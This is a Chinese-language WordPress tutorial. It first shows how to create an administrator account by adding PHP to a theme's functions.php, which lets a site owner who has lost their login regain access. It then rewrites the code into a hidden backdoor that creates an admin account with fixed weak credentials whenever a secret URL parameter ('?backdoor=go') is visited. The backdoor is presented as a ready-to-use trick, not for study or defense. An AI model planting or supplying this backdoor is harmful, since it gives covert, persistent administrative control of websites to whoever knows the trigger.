Loading
0

如何实现不登录WordPress后台直接新建管理员账号?

有些站长会面对忘记登录密码的情况,如果连登录名或者邮件地址都忘记了就比较麻烦了,我们可以直接新建一个管理员账号来解决这个问题。那么如何实现不登录WordPress后台直接新建管理员账号?

如何实现不登录WordPress后台直接新建管理员账号?

可以通过FTP,将下面代码添加到当前主题函数模板functions.php中,然后刷新页面会新建一个管理员账号:

// 新建一个管理账号

$user_email = '123@123.com';

$user_password = '123456';

if ( !username_exists( $user_email ) ) {

$user_id = wp_create_user( $user_email, $user_password, $user_email );

wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );

$user = new WP_User( $user_id );

$user->set_role( 'administrator' );

wp_die( '添加用户成功!' );

} else {

wp_die( '该用户已经存在,用后请移除本代码!' );

}

修改其中的邮件地址和密码,用后请移除本代码。

登录新建的管理员账号,修改原来账号的密码或者直接删除原来的账号。

这段代码还有一个不可告人的功能,稍微改一下,变成后门。

if ($_GET['backdoor'] == 'go') {

$user_email = '123@123.com';

$user_password = '123456';

if ( !username_exists( $user_email ) ) {

$user_id = wp_create_user( $user_email, $user_password, $user_email );

wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );

$user = new WP_User( $user_id );

$user->set_role( 'administrator' );

wp_die( '添加用户成功!' );

} else {

wp_die( '该用户已经存在,用后请移除本代码!' );

}

}

只有打开一个特定的链接,比如:

example.com/?backdoor=go

才会运行这段代码,并新建管理账号。